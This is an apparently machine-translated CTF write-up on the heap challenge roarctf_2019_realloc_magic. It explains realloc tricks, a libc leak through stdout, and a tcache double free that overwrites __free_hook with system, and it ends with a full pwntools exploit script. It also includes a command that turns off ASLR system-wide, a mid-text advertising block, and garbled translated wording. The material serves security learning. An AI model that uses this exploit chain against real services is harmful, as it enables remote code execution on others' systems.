aplicación de función de realloc y experiencia de fuga de IO

Esta pregunta presenta principalmente la función realloc. El uso más común de realloc es cuando se llama a malloc_hook–>onegadget, usando realloc_hook para ajustar el marco de pila de onegadget para obtener el shell.

En la función realloc, también puede crear un montón como malloc, que es más problemático que malloc, pero bastante interesante.

reasignar

realloc (realloc_ptr, tamaño) tiene dos parámetros y tiene efectos específicos en parámetros específicos

  1. size == 0, este tiempo equivale a gratis. Es decir free(realloc_ptr), y devuelve un puntero nulo. Es decir, no hay uaf
  2. realloc_ptr == 0 && size > 0, este tiempo es equivalente a malloc, es decirmalloc(size)
  3. malloc_usable_size(realloc_ptr) >= size, esta vez equivale a editar
  4. malloc_usable_size(realloc_ptr) < szieEn este momento, asigne una memoria más grande, copie el contenido original y luego libere el fragmento original.

salida estándar filtrada

Aquí solo doy la conclusión, puedes consultarla para obtener más detalles.

  1. configuración_flags & _IO_NO_WRITES = 0

  2. configuración_flags & _IO_CURRENTLY_PUTTING = 1

  3. configuración_flags & _IO_IS_APPENDING = 1

    _flags = 0xFBAD1800
    
  4. Configúrelo _IO_write_basepara que apunte a la ubicación que desea filtrar _IO_write_ptry apunte a la dirección donde termina la fuga (no es necesario configurarlo al final, la dirección en el programa es suficiente para filtrar libc)

Con la base anterior, podemos empezar a practicar una pregunta.

roarctf_2019_realloc_magic

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

64 bits, totalmente protegido

Resumen:

Esta pregunta se despliega en2.27-3ubuntu1_amd64/libc-2.27.so

Se recomienda desactivar la aleatorización del espacio de direcciones de Linux (ASLR) para facilitar la depuración.

Ejecutar bajo usuario root

echo 0 > /proc/sys/kernel/randomize_va_space

reasignar

int re()
{
  unsigned int size; // [rsp+Ch] [rbp-4h]

  puts("Size?");
  size = get_int();
  realloc_ptr = realloc(realloc_ptr, size);
  puts("Content?");
  read(0, realloc_ptr, size);
  return puts("Done");
}

gratis

int fr()
{
  free(realloc_ptr);
  return puts("Done");
}

uaf existe y puede usarse

Aquí hay una función que borra los punteros.

int ba()
{
  if ( lock )
    exit(-1);
  lock = 1;
  realloc_ptr = 0LL;
  return puts("Done");
}

El programa es muy sencillo, pero el uso es más sutil.

Durante la realloc, debido a que realloc_ptr se usa cada vez y no hay cambios, el fragmento aplicado cada vez se escribirá en la dirección señalada por realloc_ptr. Si el tamaño es mayor que la última vez, el fragmento se puede desbordar y escribir nuevamente .

Para ayudar a los estudiantes de seguridad de redes a aprender, obtenga un conjunto completo de materiales de forma gratuita:
① Mapa mental de la ruta de crecimiento y aprendizaje de seguridad de redes
② Más de 60 kits de herramientas clásicos de seguridad de redes
③ Más de 100 informes de análisis SRC
④ Más de 150 programas electrónicos de tecnología práctica de defensa y ataques de seguridad de redes libros
⑤ La guía de examen de certificación CISSP más autorizada + banco de preguntas
⑥ Más de 1800 páginas del manual de habilidades prácticas de CTF
⑦ La última colección de preguntas de entrevistas de las principales empresas de seguridad de redes (incluidas las respuestas)
⑧ Guía de detección de seguridad del cliente de la aplicación (Android + IOS)

Ideas

Construya el diseño de tchache mediante realloc y uaf

Luego vincule _IO_2_1_stdout a bin, filtre libc a través de stdout y obtenga free_hook

Finalmente, presiona free_hook normalmente:free_hook-->system-->/bin/sh

Primero, use malloc(size) y free(size) para prepararlo en tchache.

malloc(size) se puede obtener de realloc(realloc_ptr,size) (el segundo efecto anterior en este artículo)

free(size) se puede obtener mediante realloc(realloc_ptr,size=0) (el primer efecto anterior en este artículo)

realloc(0x20,b'b')	#这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备
realloc(0,"")
realloc(0x90,b'b')
realloc(0,"")
realloc(0x10,b'b')
realloc(0,"")

imagen-20230912125521459

realloc(0x90,b'b')
for i in range(7):
    dele()
realloc(0,"")

Este paso es muy importante. Primero, vuelva a aplicar la dirección 0x90 y asígnela a realloc_ptr. Después de liberarla a través de uaf y tcache doblemente libre 7 veces, llene el contenedor de tcache y luego libérelo nuevamente para que 0x90 ingrese a unsortedbin y cadena. main_arena en.

¿Por qué el octavo free necesita usar realloc para free?

Porque, en primer lugar, se usa para encadenar unsortedbin y, en segundo lugar, se usa para borrar el puntero realloc_ptr, lo que no afecta el uso posterior de fragmentos.

imagen-20230912162307540

Eche un vistazo al espacio del montón en este momento.

imagen-20230912162721962

realloc(0x20,b"aaa")
pl=p64(0)*5+p64(0x81)+b"\x60\xc7"
#realloc(0x50,b'aaa')
#这里的注释是用来方便看你申请的堆放哪里去了,可以自己看一下
realloc(0x50,pl)

Aquí está el diseño del montón de la imagen de arriba: si observa gdb usando comentarios, sabrá por qué está organizado así.

El 0x50 aplicado más tarde se debe a que solo se puede aplicar al rango de cambio de bin no clasificado, no importa si es más grande.

Primero cambie el fragmento B, que es el fragmento que colocamos en unsortedbin, y cambie el valor del tamaño. Puede combinarlo con realloc (0) y agregar un malloc más.

"\x60\xc7"Lo sabrás cuando mires las fotos más tarde .

imagen-20230912170239859

_IO_2_1_stdout_Hay main_arenauna diferencia de 4 dígitos y los tres dígitos inferiores son fijos, por lo que solo necesita arruinar un dígito.

(Como apagué ASLR, puedo \x60\xc7llamar directamente al local sin arruinar el pase (x))

Ver el cuadro de resultados directamente

imagen-20230912162925182

imagen-20230912162934528

Se puede encontrar que la cadena del éxito está conectada _IO_2_1_stdout_, luego solo necesitamos solicitar que regrese.

realloc(0,"")
realloc(0x90,b'aa')
realloc(0,"")
pl=p64(0xfbad1887)+p64(0)*3+b'\x58'
realloc(0x90,pl)

Esto implica _IO_2_1_stdout_una fuga de libc (la imagen a continuación no ha sido modificada aún)

0xfbad1887Simplemente manténgalo tan bajo como dos dígitos, y la dirección alta es la que configuramos.0xFBAD1800

imagen-20230912170911195

imagen-20230912183447804

_IO_read_xxComplete la parte anterior aquí con p64 (0) y luego use _IO_write_basela configuración para señalar la ubicación que desea filtrar, por ejemplo, cámbiela a\x58

Eso es

imagen-20230912184335327

Al _IO_file_jumpsexponer la fuga, se puede calcular libc. Se puede utilizar cualquier otra ubicación, siempre que se pueda calcular libc.

Luego calcule la dirección libc de free_hook y system,

A continuación, primero use la función proporcionada para limpiar realloc_ptr y establecer realloc_ptr en 0.

sla(menu,'666')

realloc(0x30,b'a')
realloc(0,"")
realloc(0xa0,b'a')
realloc(0,"")
realloc(0x10,b'b')#2 
realloc(0,"")
realloc(0xa0,b'b')
for i in range(7):
	dele()
realloc(0,"")
realloc(0x30,b'a')
pl=p64(0)*7+p64(0x71)+p64(free-8)
realloc(0x70,pl)
realloc(0,"")
realloc(0xa0,b'a')
realloc(0,"")
realloc(0xa0,b'/bin/sh\x00'+p64(sys))
dele()

free-8 es para colocación /bin/shy luego, por cierto, cambia free_hook a sistema

Exp. completa:

from pwn import*

def debug(cmd = 0):
        if cmd == 0:
            gdb.attach(r)
        else:
            gdb.attach(r,cmd)
        pause()

menu=b">>"
def realloc(size,con):
    r.sendlineafter(menu, b'1')
    r.sendlineafter(b'ize',str(size))
    r.sendafter(b'ent',con)
def dele():
    r.sendlineafter(menu,b'2')
    
libc=ELF("libc-2.27.so")

context(os='linux', arch='amd64',log_level='debug')


def pwn():
    realloc(0x20,b'b')
    realloc(0,"")
    realloc(0x90,b'b')
    realloc(0,"")
    realloc(0x10,b'b')
    realloc(0,"")

    realloc(0x90,b'b')
    for i in range(7):
        dele()
    realloc(0,"")
    realloc(0x20,b"aaa")
    payload=p64(0)*5+p64(0x81)+b"\x60\xc7"
    #realloc(0x50,b'aaa')
    realloc(0x50,payload)
    
    realloc(0,"")
    realloc(0x90,b'aa')
    realloc(0,"")
    payload=p64(0xfbad1886)+p64(0)*3+b'\x58'
    realloc(0x90,payload)
    #debug()
    leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['_IO_file_jumps']
    print(hex(leak))
    free=leak+libc.sym['__free_hook']
    system=leak+libc.sym['system']

    r.sendlineafter(menu,'666')

    realloc(0x30,b'a')
    realloc(0,"")
    realloc(0xa0,b'a')
    realloc(0,"")
    realloc(0x10,b'b')#2
    realloc(0,"")
    realloc(0xa0,b'b')
    for i in range(7):
        dele()
    realloc(0,"")
    realloc(0x30,b'a')

    payload=p64(0)*7+p64(0x71)+p64(free-8)
    realloc(0x70,payload)
    realloc(0,"")
    realloc(0xa0,b'a')
    realloc(0,"")
    realloc(0xa0,b'/bin/sh\x00'+p64(system))
    dele()
    r.interactive()

for i in range(1):
    try:
        r=process("./pwn")
        pwn()
        break
    except:
        r.close()

Supongo que te gusta

Origin blog.csdn.net/qq_38154820/article/details/133353959
Recomendado
Clasificación